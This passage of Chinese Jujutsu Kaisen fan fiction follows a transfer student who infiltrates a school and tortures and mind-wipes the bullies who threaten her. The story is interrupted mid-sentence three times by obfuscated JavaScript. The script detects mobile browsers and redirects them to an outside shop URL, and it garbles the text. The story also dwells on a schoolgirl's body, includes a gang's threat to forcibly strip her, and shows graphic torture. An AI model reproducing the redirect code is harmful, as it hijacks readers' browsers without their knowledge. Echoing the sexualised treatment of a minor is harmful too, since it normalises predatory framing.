被无视的五条悟继续抱怨着,声音在客厅里回荡。 花野依埋头吃着早餐,煎蛋的火候刚刚好,面包的果酱也抹得均匀,咖啡的香气和果汁的甜味混在一起,让这个清晨显得格外温暖。 她抬起头看了看坐在餐桌对面喝着黑咖啡的七海建人,又看了看一直在闹腾的五条悟。 犹豫了一下,把自己面前那杯还没喝的果汁推向五条悟: “老师,你不介意的话喝我这杯吧。” “好耶!” 七海建人放下杯子,眼神无语地看向五条悟:“花野同学,你不要太惯着他。他这种人是会蹬鼻子上脸的。” “没事的,七海先生,一杯果汁而已。” 花野依站起来走向冰箱,准备再给自己倒一杯。 看着她的背影,五条悟突然开口:“小依她就拜托你了。” 和刚才的语气完全不同,难得的认真。 七海建人喝着咖啡,没有出声。 五条悟也不恼,他一口气喝完手里的果汁,站起身来对着七海建人摆了摆手: “那我就先走了!” 看着空荡荡的座位,端着新倒的果汁走回来的花野依愣了一下,询问道,“五条老师呢?” “他有任务,先走了。”七海建人简短地回答。 早餐后,七海建人开车载着花野依前往里樱高中,车上很安静,只有空调的呼呼声和窗外偶尔传来的车鸣。 花野依坐在副驾驶,看着窗外不断后退的街景,心里有些紧张。 “今天的任务安排……”七海建人开口,低沉的声音在车内回荡 “你的身份是里樱高中的转学生,会转到吉野顺平的班级里。 记住,你只需要打探吉野顺平是否拥有咒术,观察他是否有异常行为,其余的事不要多做。” “好的。”花野依认真地点了点头。 “你之前有过单独潜入经验吗?” “没有……这是第一次。” 七海建人沉默了几秒,然后开口: “不用紧张,就当做普通的转学生就好,你只需要观察,不需要主动接触,如果有什么异常情况,及时联系我。” “我明白了。” 上午九点,里樱高中二年级B班。 班主任推开门走进教室时,原本有些嘈杂的教室安静下来。 花野依跟在他身后,手里紧紧攥着书包的背带,手心已经渗出了细密的汗珠。 “同学们,今天有一位转学生。” 班主任侧过身,示意花野依上前,“进来吧。” 花野依深吸一口气,走进教室。 几十双眼睛同时落在她身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471652|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些目光有好奇,有打量。 她站在讲台上,双手紧张地交握着,指节因为用力而微微发白。 “大、大家好。” 她开口,声音很小,还有些颤抖,“我叫花、花野依,请、请多关照。” 讲台上的少女微微低着头,黑色的发丝乖巧地披散在脸颊两边,眉毛不自觉地蹙着,带着几分怯意。 眼睛圆润明亮,却不敢与任何人对视,目光闪躲着,像一只受惊的小鹿。 嘴唇因为紧张被主人紧抿着,抿得微微发白,和那微红的脸色形成鲜明的对比。 阳光从窗户斜射进来,落在她身上,给她镀上一层淡淡的光晕。 那身再普通不过的里樱高中校服穿在她身上,显得格外清丽。 整个人看起来,就是一个典型的美人,柔弱,乖巧,让人忍不住想多看两眼。 “花野同学就坐在那里吧。”班主任指了指后排靠窗的一个空位。 “好、好的。” 花野依低着头走下讲台,沿着过道往后排走去,她能感觉到那些目光一直追随着自己,从讲台追到座位,从背后追到侧脸。 夏季外套的领口规整地扣着,隐约可以看见底下纤细的身形。 百褶裙的裙摆刚好到膝盖上方,露出一截被黑色腿袜包裹着的小腿,细瘦而笔直。 随着动作,腿袜和裙子之间露出若隐若现的绝对领域。 可以窥见少女白皙细腻的皮肤,在阳光下泛着柔和的光泽。 那些目光像无形的触角,在她身上游走,让她浑身的毛孔都收紧了。 她在那张靠窗的座位上坐下,把书包放在桌边,然后低下头,假装在整理东西。 周围的窃窃私语声隐隐约约地传来: “转学生啊……长得还挺好看的……” “看起来好安静,不知道好不好说话……” “皮肤好白,是不是身体不太好……” “那双眼睛真好看,像小鹿一样……” 花野依没有抬头,只是继续整理着根本不乱的书本。 她的手指微微颤抖,心跳得有些快,那些目光里,有几道让她格外不舒服。 她抬起头,装作不经意地扫视了一圈教室。 靠窗那一排的角落里,有一个空着的座位,座椅突兀地倒在地上,无人在意。 而在另一边,后排的某个位置上,有几个男生正凑在一起,目光毫不掩饰地落在她身上。 他们以为她没看见,或者根本不在乎她是否看见,就那样大咧咧地打量着她。 从上到下,从脸到腿,目光里带着某种让人不舒服的意味。 其中一个染着黄毛的男生还用手肘碰了碰旁边的人,咧嘴笑了一下,嘴里说了句什么。 隔得太远,花野依听不清,但她能看清那个笑容。 那笑容算不上友善。 她收回目光,低下头,继续整理书本。 那种被盯着的感觉,一直黏在她身上,怎么甩都甩不掉。 高中的学生正是青春气息最为旺盛的时期,脑子里基本都是对与异性的好奇和不可言说的画面。 对那几个男生来说,这个新来的转学生简直就是从天而降的礼物。 那双闪躲的眼睛,那张乖巧的脸蛋,以及纤细的身形和那双白皙的腿。 每一个细节都像是专门为他们准备的猎物。 一看就是那种好欺负的类型,就是那种被欺负了也不会声张的类型,一看就是那种—— “那个转学生,” 黄毛小声对旁边的人说,嘴角咧得更开了,“看起来很不错啊。” 旁边的人会意地笑起来。 阳光透过窗户洒进教室,照亮了那些漂浮在空气中的细碎灰尘。 一切看起来都是那么普通,那么正常,像是任何一个平凡的高中早晨。 30. 第三十章 上午的课程对于花野依而言过于晦涩,毕竟她只学过高一的知识,高二的知识有些超纲。 课后花野依的课桌围满了对她感兴趣的同学,叽叽喳喳地询问他们感兴趣的问题。 “花野同学之前是哪里的?” “仙、仙台来的” “欸!花野同学为什么要来这里读书呢?” “家里人工作变动。” “花野同学……” 姣好的面容,带来了大量的人气,每到下课时花野依座位周围都被围的水泄不通。 内向的花野依实在是难以应付过于热情的同学,羞涩的脸颊染上绯红,但她没有忘记自己的任务,努力的打听关于吉野顺平的事情。 上午最后一节课铃声马上就要响起,周围的同学都陆陆续续地回到座位。 她询问坐在自己的前面的同学,“内个……你好,请问那边空着的座位是谁的呢?” “啊,那个位子——” 前桌转过头,一只手遮住嘴,压低声音道,“我劝你不要和那个人扯上关系哦!” “欸?”,花野依眨了眨眼,上半身向前微倾,“为什么?那个人怎么了吗?” “他叫吉野顺平,平时只是有点阴暗孤僻啦。 但是他是那群人的‘玩具’,所以最好不要和他接触哦,免得你也被当做‘玩具’” 前桌的眼神瞟向周围,用另一只手隐晦地指了指,教室后面围在一起的一群人。 “就是他们”,她解释道。 那群人里最明显的就是坐在位子上的人,他头顶一头亮眼的黄毛。 和七海先生天生的黄色发色不同,他的头发颜色更加明亮,是人类不可能拥有的颜色。 他的坐姿很嚣张,背靠着椅子,双手向后枕着脑袋,双脚交叠搭在课桌上,大概有五六个人围在他的周围有说有笑,十分吵闹。 其中有位女生翘着二郎腿,坐在佐藤面前的课桌上,与常规校服不同,她的校服被改动过。 衬衫被改紧突显出她傲人的胸姿,百褶裙的裙摆只到大腿根处几乎快要走光。 校规明确规定学生不允许化妆,她的脸上却画着十分夸张的辣妹妆。 一看就是不良人群。 花野依收回视线,重新看向有些紧张地前桌,眉毛微蹙,圆润的眼睛映出她的不解。 “玩具……是什么意思?” 前桌眼神惊讶,似是不理解花野依的天真。 “嗯……怎么说呢?就是……如果他们觉得无聊的话,就会去欺负吉野同学” 她思考一下又补充道:“比如用他的额头烫烟头,厕所里倒脏水,诬陷他欺负女同学和动手打他之类的。” 前桌的语气十分自然,仿佛自己的同班同学被霸凌是什么日常生活。 听见这些严重的校园霸凌,花野依耳边响起翁鸣,她眼神呆滞,嘴唇微张。 “什、什么?” “那群人就是这样子,班里其他人都拿他们没办法,尤其是佐藤,就是那个黄色头发。 他的老爸是我们学校高层的领导人之一,所以同学们都拿他们没办法,吉野同学逃学也是一件好事,而且……” 前桌的声音断断续续地传来,嗡嗡作响的耳鸣让前桌的话语像是隔着一层薄膜。 花野依看向那个空荡荡的座位。 原来如此…… 她有些讽刺地想,难怪那个座位椅子倒下都没有人去扶起来,原来是不敢吗…… 花野依兀地从座位里站起身来。 前桌被吓了一跳,她疑惑地看着花野依,问道:“花野同学,你要去哪里?马上就要上课了。” 花野无视了前桌的提醒,径直走到了吉野同学的座位前,扶起了那张倒下的凳子。 原本有些吵闹的教室霎时寂静一片,就连好心提醒她的前桌,看见她的动作后迅速转过身去,害怕自己被花野依牵连。 尤其是那群吵吵闹闹的不良,在看着花野依扶起了吉野的桌子后,都不在说话,而是看向了坐在中央地佐藤。 叮叮叮! 上午最后一节课的上课铃声响起。 “喂!” 坐在桌子上的女生跳下桌子,叫住花野依,不爽地盯着她。 花野依没有理会她,直接略过她回到自己的座位,拿出课本等待上课。 花野依这副目中无人的模样,惹怒了那位不良少女。 她无视了站在讲台的教师,不爽地踢倒了旁边同学的课桌,一边向着花野依的座位走去,一边不顾大声吼道: “喂!我说你——” “美呮” 坐在位子上的佐藤出声阻止了打算教训花野依的美呮。 “现在是上课时间呢,既然我们是学生那就要好好上课” 说着佐藤看向站在讲台上十分为难的教师,语气带着掩饰不住地调侃。 “你说是吧?老师” “是、是的” 佐藤收回桌上的搭着的腿,转而单手撑在桌上抵着脑袋,饶有兴趣地盯着坐在自己位置上的花野依。 “啧!” 佐藤发话,美呮再怎么不爽,也只好恶狠狠地瞪了眼花野依,走回自己的座位。 花野依手里拿着教材,佐藤的眼神还落在她的身上,她毫不在意地专注自己,认真地记着笔记。 看着花野依的这副模样,佐藤眼底的兴趣加深,“呵!有趣!” 声音不大,但足够周围人听清,包括花野依。 午休的铃声响起时,花野依合上了课本。 她没有便当,早上出门太急,根本没时间准备,七海先生倒是问过她要不要买点什么,她摇头说不用,在学校食堂解决就好。 但现在她也没打算去食堂,甚至没打算在这栋教学楼里多待一秒。 她站起身,把椅子推回原位,拿起手机走出了教室。 她的脚步不急不缓,踩在走廊的地砖上发出轻微的声响,像是漫不经心的散步。 这栋教学楼她只走过一次,是早上七海先生带她来的时候。 她记得,在教学楼的东侧,有一排很少人使用的厕所,午休的时候,不会有人去那里。 她走下楼梯,推开一楼尽头的消防门,穿过一条铺着碎石子的小路,阳光照在她身上,暖洋洋的,但她感觉不到温度。 花野依推开厕所的门,走了进去。 这间厕所比教学楼里的那些老旧得多,墙壁上的白漆剥落了大半,露出底下灰扑扑的水泥。 天花板上只有一盏日光灯,灯管已经老化了,发出昏暗的、不太稳定的白光,在墙壁上投下忽明忽暗的影子。 墙上的镜子很大,几乎占了整面墙,但因为年头太久,镜面有些模糊,边缘还有几道细长的裂纹。 花野依走到洗手台前,站定。 门是开着的,外面的阳光照进来,在潮湿的地面上投下一小片光亮,那片光亮被一个影子挡住了。 美呮走了进来。 她的脸上挂着笑,那种笑容花野依太熟悉了。 嘴角上扬的弧度,眼睛里却没有一丝笑意,只有一种即将看到别人痛苦时的、隐秘的兴奋。 “哟!” 美呮靠在门框上,双手抱胸,歪着头打量她。 “怎么一个人跑到这种地方来了?该不会是没有朋友陪你吃午饭吧?” 花野依没有回答,她只是站在洗手台前,透过镜子冷静地看着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471653|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双毫不掩饰恶意的眼睛。 美呮被这种目光看得有些不舒服,她皱了皱眉,走进来几步。 “怎么不说话?害怕了?”她凑近了一点,声音压低了,带着一种猫捉老鼠的戏弄。 “还是说——你是觉得自己要被玩弄了,觉得丢人,所以特地找了这么一个偏僻地方?” 她说完,等着看花野依的反应。 她等着看这个看起来柔柔弱弱的转学生露出害怕的表情,等着看她眼眶发红,等着看她求饶。 不管是哪一种,她都觉得很有趣。 花野依没有回答,她打开了水龙头,开到最大,水流唰地冲出来,砸在瓷白的洗手池里,溅起细小的水花。 她把双手伸到水流下面,水花从指缝间溅出来,落在台面上,落在镜子上,落在她校服的袖口和衣襟上,洇出一片片深色的水渍。 镜子被水花溅湿了,模糊了两个人的倒影。 “姑且问一句,” 花野依开口了,声音很轻,很平静。 “你是被迫的吗?” 昏暗的灯光让美呮无法看清她的神色。 这个问题太突兀了,美呮愣了一下,她瞪着花野依的后脑勺,搞不懂这个转学生在说什么鬼话。 “哈?你这贱——” “看来不是被迫的。” 花野依打断了她。 花野依把双手从水流下移开,垂在身侧,任由手上的水一滴一滴地落在地上,在脚边汇成一小片浅浅的水洼。 她的影子在脚下微微波动了一下,像是水滴落在平静的湖面泛起涟漪。 美呮啧了一声,懒得再跟她废话,她上前一步,伸出手,打算拽住花野依的后领。 她停住了。 她的手指僵在半空中,指尖离花野依的后领只有几厘米,却再也无法向前移动分毫,她想要尖叫,却无法出声。 普通人看不见咒术,此刻的美呮正被藤蔓缠绕全身,藤蔓遮住了她的口鼻,紧紧的,密不透风。 她看不见,所以只能慌乱地发出微弱的、含混的“唔唔”声。 厕所里诡异的寂静,只有哗哗作响的水流声。 滋滋滋! 头顶的灯泡滋滋作响,闪动着不正常的频率,光线忽明忽暗。 花野依转过身来。 她的表情很平静,没有一丝波动。 咚! 藤蔓猛地收紧,把美呮整个人往下拽,她的膝盖狠狠砸在地面上,发出一声沉闷的、让人头皮发麻的撞击声。 疼痛从膝盖骨炸开,顺着神经往上窜,美呮闷哼了一声,额头瞬间冒出一层冷汗,眼泪都差点掉出来。 花野依在她面前蹲下来。 伸出还在滴水的手,掐住了美呮的下巴。 手很凉,指节纤细,力道却大得惊人,像是铁钳一样箍住她的下颌骨。 美呮的瞳孔猛地收缩,她看见花野依的脸离自己很近,近到能看清那双眼睛里所有的细节。 那双眼睛很美,圆润的,水润的,像是鹿的眼睛,但那里面此刻什么都没有。 只有一片空荡荡的、深不见底的平静,像是雾谷村那个山洞里的黑暗。 嘴边的藤蔓被移开了一点。 美呮张开嘴想要尖叫,但花野依的另一只手已经按上了她的下颌关节。 咔哒! “啊啊啊!” 美呮的下巴被卸了下来,松松垮垮地挂在脸上,嘴巴张着,却合不拢,再也发不出任何完整的音节。 花野依的呼吸很轻,很凉,她嫌恶的眼神落在美呮的脸上。 她声音低低的,带着一种不耐烦的、快要失去耐心的沙哑 “闭嘴,猴子!” 31. 第三十一章 “闭嘴,猴子!” 美呮眼球颤抖,布满血丝,眼角不断地留下恐惧的泪水,下巴松垮地挂在脸上,口水顺着嘴角流下来,滴在校服上,落在地上。 花野依内心毫无波澜只有些许疲惫,她撇了一眼美呮因为恐惧和痛苦扭曲的脸。 收回手,站起身来转向洗手池,冲洗着那双混合着泪水和口水的手。 “接下来我会问你一些问题,你只需要摇头和点头来回答” 花野依语气平静,温柔地诉说着自己的要求。 她关掉了水龙头,抖了抖手上的水。 “你的回答呢?猴子” 美呮身上的藤蔓缩紧了缠绕的力度,像是一条巨蟒紧密地包裹着她,让她几乎无法呼吸。 她听见了花野依的话,带着最后一丝理智点了点头。 “你和佐藤认识吉野顺平吗?” 美呮点头。 “你们经常霸凌吉野顺平是吗?” 美呮下意识地点头,但很快她又反应过来开始摇头。 花野依没有理会美呮的变卦,她没有出声,站在原地居高临下地打量着快要崩溃的美呮。 厕所里只剩下,美呮时不时的呜咽声。 花野的双手自然地垂在两侧,手指不自觉地微微抽搐。 “最后一个问题”,她语气轻柔、平缓却让美呮头皮发麻,像是最后的嘱咐。 “吉野顺平有反抗过吗?” 美呮摇头。 “是吗……” 凌乱不堪的发丝粘在美呮的脸颊两边,脸上黑色的眼线被泪水晕染开来,形成几条黑线挂在她的脸上,红色的口红早就没了颜色。 花野依静静地看着眼前狼狈的美呮,不知道在想什么。 过了良久。 她不再询问。 得到自己想要的回答后,她动作果断迅速,伸出拇指按住面前人的额头。 [寄生] 术式发动。 美呮的额头长出一朵诡异的花朵,笔直的茎干上没有枝叶,只有一朵漆黑的花苞立在上面静静地等待绽放。 “听着,猴子” 蔑视的话语直接涌入美呮的大脑,让她无法做出反应。 “忘记这一切,你走错了位置,中午没有见过我,你只是太累昏倒在这里” 花野依说完,便移开了拇指。 她顺手接上了美呮的下颌,用反转术士治愈了她膝盖上的伤口。 美呮额头上的花苞在花野依说完的下一秒,就绽放了。 漆黑的表面泛起不同颜色的光点,像是黑夜里洒满星星的天空,那朵花像是一簇燃烧的火焰。 在点燃的那一刻猛烈燃烧直至熄灭。 美呮昏倒在地板上,花野依越过她走了出去,顺着原路回到了教室,等待上课。 上午花野依的座位被围的水泄不通,但现在却意料之内的空无一人,原本对她感兴趣的同学,此刻都刻意忽略了她,害怕被她牵连。 “嗯?”,佐藤看着全须全尾回到教室的花野依,挑了挑眉。 佐藤身边的小弟看见他这副模样,十分狗腿的开口:“大哥,要不待会儿我去教训一下她” “不用”,佐藤笑了笑,看向刚才说话的小弟,“今天下午的最后一节课是什么来着?” “是体育课,大哥” “体育课啊,那你去准备一下”,佐藤语气一转,带着明显的玩弄。 “让我们得转校生好好的体会一下我们的特色” “是,大哥” 下午的课程只有两节课,第一节是国文课,第二节课是体育课。 国文课上那群不良装作一副好学生的模样,难得的没有在后排吵闹。 下课后,佐藤看向美呮的座位,他突然有一种莫名的违和感。 但平时美呮也不是一个会认真上课的人,他压下心中那股微弱的违和感。 他随手指了指在他身边的小弟。 “你,去美呮平时会去的地方找找看,叫她不要错过我们的‘玩耍时间’” “是!” 体育课上由于花野依的加入,原本两两组队的女生,需要多出一个组让花野依加入组成三人组,但没有女生愿意,她们都默契的不与花野依对视。 在体育老师尴尬为难的目光下,花野依主动开口解围道:“没关系老师我一个人组队也可以” 看着花野依平静的目光,体育老师也没多说同意了花野依的建议,开始组织大家热身。 热身过后每个组需要一个同学去拿操场边放着的计数表,另一个同学去拿器材室里的排球。 花野依只有一个人,所以她先去近一点的操场边,等到她拿到计数表后,她又加快脚步跑向器材室。 此刻器材室里的同学已经拿完了排球离开了,只剩下那群不良站在里面,花野依知道他们是在等着自己。 碰! 门在身后关上的声音比花野依预想的更闷,连回音都没有留下。 她试着推了推,铁质的门板纹丝不动,锁舌卡得很紧,从外面被人扣死了。 器材室比她想象中更深,纵深比宽度大得多,走进去像是被一条狭长的喉咙吞没。 天花板上只有一盏日光灯,灯罩碎了半边,灯管发着垂死挣扎的、灰白色的光,照不到的地方就任由黑暗盘踞。 墙角堆着几个落满灰尘的篮球架底座和生了锈的跳马箱子,空气里有一股陈旧的橡胶味和汗水干涸后留下的咸涩气息。 唯一的光源是墙上那扇狭小的窗户,大概只有两块砖并排那么宽,开在很高的位置,几乎贴着天花板。 光线从那扇窗里斜射进来,切出一道薄薄的、倾斜的光柱,把地面上那些坑坑洼洼的痕迹照得格外清楚。 光柱的尽头落在花野依和那群人之间,像一道分界线,又像一道来不及关上的门。 花野依站在光柱的这一边。 那群人站在另一边。 佐藤站在最中间,被几个人围着,姿态松弛得像是在自己家的客厅里。 他双手插在口袋里,歪着头看花野依,嘴角挂着那种已经长在脸上的、带着恶意的笑容。 光线照不到他的脸,只能照出他校服领口露出的那截脖颈,和那双搭在口袋边的手指。 他的眼睛藏在阴影里,但花野依能感觉到那道目光黏糊糊的,像从皮肤上爬过去一样。 她看了一眼身后的门,又转过头,看着面前这群人。 六个,加上佐藤是六个。 年龄比她大,个子比她高,人数是她的六倍,放在任何一个普通高中女生的处境里,这都是一场毫无悬念的围猎。 花野依的目光从他们脸上一一扫过,没有躲闪,没有停留,像在数几件无关紧要的东西。 “所以,”她开口,声音很轻,在空旷的器材室里像一颗石子落进深井。 “全部都在这里了是吗?” 她脸色平静,明显没有期待自己的问题被回答。 佐藤眯了眯眼,这个反应和他预想的不太一样。 她应该露出恐惧的,讨好的,崩溃的,哭着求饶的表情,但她的脸上什么都没有的,只有空荡荡的神色,像是一谭死水。 他往前走了一步,光线照到他下颌,把那副恶劣的嘴角照得清清楚楚。 “是自己把衣服脱掉,还是我们来帮你脱?” 他的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471654|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不大,但每个字都说得很清楚,带着恶意的顽劣。 “选一个吧。” 他说完,顿了一下,像是在给花野依留出思考的时间。 然后他歪了歪头,嘴角咧得更开了,露出里面不太整齐的牙齿,补了一句: “姑且给你一个小建议,如果我们帮你脱的话,保不准会有人忍不住呢。” 他身后的小弟们像是被按下了某个开关,哄笑声炸开来。 笑声在空旷的器材室里来回弹跳,撞在墙壁上,撞在天花板上,撞在那扇被锁死的门上,变成一层一层叠在一起的、浑浊的噪音。 “这小身板,脱了也没什么看头吧?” “你懂什么,就是这种才有意思。” “佐藤哥你先来,我们在后面给你加油。” “要不要赌一把,看她会不会哭?我赌会。” “那肯定哭啊,上次那个不也哭了?” “上次那个哭得可好看了,这次这个不知道会不会叫得更好听。” 声音从各个方向涌过来,带着黏腻的、潮湿的温度。 花野依能感觉到那些目光,从上到下,从脸到胸口到腰到腿,一道一道地刮过去,像是要把她的衣服一件一件地剥开。 那种目光她很熟悉,那些村民跪在地上看着祭坛上的她时,也是这种目光。 像是看一个可以被处置的、被使用、被随意摆弄的物品。 花野依抬起手,拇指狠狠按在太阳穴上。 厌烦的情绪在全身蔓延,让她十分头疼,像是耳边有一群蚊子在嗡嗡叫,怎么赶都赶不走。 她按着太阳穴,指节微微泛白,能感觉到皮肤下面的血管在跳。 太吵了。 她蹙着眉头微微后退了半步,想要远离面前这群人散发出来的那种气味。 汗臭,烟味,还有某种更深的、从骨子里烂出来的东西。 她抬起眼皮,看着面前这群人。 “能安静一点吗?”她说啊。 声音不大,但足够被听清。 “猴子们。” 最后那三个字从她嘴里吐出来,轻飘飘的,带着一点不耐烦的尾音。 器材室里的笑声停了。 那几个人脸上的表情还凝固在上一秒,咧开的嘴角,眯起的眼睛,还没来得及收回去的、下流的笑容。 器材室里安静下来。 安静得能听见那盏快坏掉的日光灯发出的滋滋声,能听见窗外远处操场上体育老师的哨声,能听见自己的呼吸声。 光柱里那些细碎的灰尘还在浮动着。 过了大概两秒,也许三秒,笑声才重新响起来。 “她说什么?猴子?” “哈哈哈哈,这丫头是不是吓傻了?” “喂喂喂,你知道你在跟谁说话吗?” 佐藤的脸色变了,嘴角的弧度还在,但眼睛里那点笑意已经彻底冷了下去,变得更为阴暗。 他从口袋里抽出双手,往前迈了一步,这一步跨过了那道光柱,把他的脸照得清清楚楚。 “你刚才叫我什么?” 他的声音压得很低,像是在喉咙里磨着一把刀。 花野依站在原地,看着面前这群僵住的人,眼神里没有波澜,没有回答,她只是站在那里,放下按着额头的手,垂在身侧。 “唉!” 她叹了一口气,整个人强制性地放松下来。 这种松弛和这间器材室里的气氛格格不入,像是一块拼图被放错了位置,怎么看都觉得不对劲。 “猴子们,” 她重复了一遍,声音比刚才更低了一些,像烦躁于还要强调的事。 “闭嘴!” 32. 第三十二章 正想张嘴嘲讽的佐藤,突然感到一股莫名的心悸和紧张让他寒毛立起,额头冒出冷汗。 “额啊!” 身后的小弟发出痛苦的叫喊,但很快声音就消失地无影无踪,像是被抹除一样。 佐藤想转过身去,但强烈的压迫感让他全身发软,动不了。 扑通! 双腿无力撑住他的身体,跪在了地上,双手撑地,艰难地支撑着自己,他强迫着抬起脑袋,似乎是不允许自己在这个女人面前低头。 那股压力又重重的施加在他的脖颈,让他又重新低下头,维持着让他屈辱的姿势。 这股压迫感,来自他面前的花野依,她其实什么都没做,甚至都没有使用术式。 她只是浓缩了自己的咒力,让这股浓厚的几乎快要成为实物的咒力,覆盖在佐藤身上。 佐藤如同陷入粘稠的沼泽一般,全身无法发力,只能静静地等待死亡。 什么? 这是什么?! 佐藤此刻内心十分惊恐,现在的状况打破了他以往人生的经验,他此刻什么都想不起来,脑海一片混乱,后背的衬衫被汗水洇湿。 花野依看着狼狈地跪在自己面前的佐藤,向着他身后,语气温柔嘱咐道:“噗噗,不要太用力,猴子受伤的话之后会很麻烦” 在器材室的后方的角落,一只体型庞大的咒灵不知何时出现在那里,它的双手变形、延伸成为粗壮的藤蔓。 如同蟒蛇一般紧紧地缠绕在那群不良的身上,包裹住他们的下颚,让他无法动弹,也无法发声 只留出他们那双充满恐惧,害怕的双眼和噗噗一起看向不远处的花野依。 “噗叽!”,噗噗适当地放松了缠绕的藤蔓。 “做的很好”,花野依夸奖它。 她加重了施加在佐藤身上的咒力输出,浓厚的咒力让佐藤如同身处在阴暗的深谭之中,后脊发凉的同时无法呼吸。 “唔!”,佐藤痛苦的呼出声。 冷汗混合着口水,滴在地上,十分狼狈。 花野依走到他面前,蹲下身抓住他的早已湿润的头发,向后猛地一扯,露出佐藤那张惊恐狼狈的脸。 “想你也不可能会说实话” 花野依冷漠地看着他,冰冷的话语吐在他的脸上。 她扯起嘴角微笑,像是死亡前的幻影,温柔的语气里带着不容拒绝的独裁。 “所以……” 她伸出另一只手的拇指俺在佐藤的额头,“你接下来可能会很痛” [寄生]发动 “啊啊啊啊,啊啊啊啊啊!”,佐藤痛苦的喊叫在这气氛诡异的器材室显得更加惊骇,令人心惊胆寒。 与美呮仅仅作用于大脑表面的[寄生]不同,这次的[寄生]直接扎根寄生在大脑深处。 佐藤的耳朵、鼻孔、口中钻出颜色鲜艳的花朵伴,随着鲜血的滋养显得十分昳丽,他整个人向后仰,痛到失去了神情。 花野依松开了抓住佐藤头发的手,扯出他的衬衫,有些嫌弃地在上面擦了擦。 她仔细地擦着手上的汗水,低着头,语气自然听不出任何波澜,与此刻混乱的场景格格不入。 “吉野顺平,在你们的霸凌中有过反抗吗?” “有……”,被那些寄生花支配的佐藤口齿不清地回答。 “他是怎么反抗的。” “告诉老师。” “之后呢?” “老师没管。” “为什么?” “被我老爸摆平了,就不敢管了。” “……之后吉野顺平,还有过反抗吗?” “没有。” “是吗……” “……” 花野依沉默着站起身来。 她低头看着跪在地上的佐藤,那张脸已经被汗水和泪水糊满了,鼻涕从鼻孔里淌出来,和口水混在一起,滴在校服的领口上。 从他耳朵、鼻孔、嘴巴里钻出来的花朵还在轻轻颤动着,花瓣上沾着血珠,在昏暗的灯光下泛着一种近乎妖异的光泽。 花开得盛,像是吸饱了养分,每一片花瓣都饱满得快要炸开,颜色鲜艳得不像是真的。 花野依收回目光,抬起手,拇指再次按上佐藤的额头。 那些盛开的花朵开始枯萎。 花瓣一片一片地卷曲、发黄、变脆,然后碎成细小的粉末,从佐藤的脸上簌簌地落下来。 那些粉末落在他的肩膀上,落在他的膝盖上,落在他撑在地上的手指间,灰扑扑的,像是烧剩下的灰烬。 佐藤的身体开始抽搐,因为那些深入大脑的根须正在被一根一根地抽离。 那些根须比她想象的要深,要密,像是老树的根系一样盘踞在大脑的褶皱里,每拔出一根都会带出细小的血丝。 花野依维持着这个姿势,一动不动,她的表情没有变化。 她的拇指按在佐藤的额头上,指尖能感觉到那些根须在皮肤下面蠕动,它们正在被一根一根地拔出来。 这个过程持续了大概两分钟。 两分钟后,花野依收回手,佐藤的身体软软地倒在地上,像一只被抽空了填充物的玩偶。 他的眼睛还睁着,但瞳孔涣散,没有焦点,嘴巴微微张着,呼吸很浅,像是睡着了一样。 花野依转过身,看向器材室后方那几个还被藤蔓缠着的人。 他们的脸上全是恐惧,眼泪和鼻涕糊了一脸,有几个已经昏过去了,歪歪斜斜地挂在藤蔓上,像几件被晾在绳子上的衣服。 还有两个醒着的,但情况也好不到哪里去,他们的裤/裆湿了一大片,尿液顺着裤管滴在地上,在脚边汇成一小滩。 器材室里弥漫着一股刺鼻的尿骚味,混着汗臭和血腥气,让人反胃。 花野依的眉头微微蹙了一下,这些气味让她想起了雾谷村那个山洞。 同样的腥气,同样的潮湿,同样的令人窒息的浑浊。 她走过去,在每个人面前停下来,把拇指按在他们的额头上。 和佐藤那次不同,不需要深入大脑。 她只需要修改一段很短的记忆,让他们忘记自己来过器材室,忘记见过花野依,忘记被藤蔓缠绕、被恐惧扼住的经历。 她需要让他们以为,自己是互相之间发生了矛盾,推搡了几下,然后不知道为什么就昏倒了。 这些人的记忆像是一团被揉皱的纸,花野依用咒力把它一点一点地抚平,然后把那些不该存在的褶皱抹去。 手指稳稳地按在那些额头上,咒力从指尖渗入皮肤,渗入颅骨,渗入柔软的脑组织里。 像一根针在织一幅已经织坏的布,一针一针地把那些错位的线挑出来,再一针一针地缝回去。 最后一个人处理完的时候,花野依的额头上已经渗出了细密的汗珠。 她收回手,站直身体,环顾了一圈器材室。 “走了,噗噗” “噗噗叽!” 话落,噗噗跳进了她的影子里。 那几个人横七竖八地倒在地上,姿势各不相同,但都很自然,像是真的只是昏倒了。 佐藤趴在最中间,脸侧向一边,嘴角还挂着一丝没擦干净的口水。 花野依看了一眼自己的手指,手伸进口袋,掏出一张手帕。 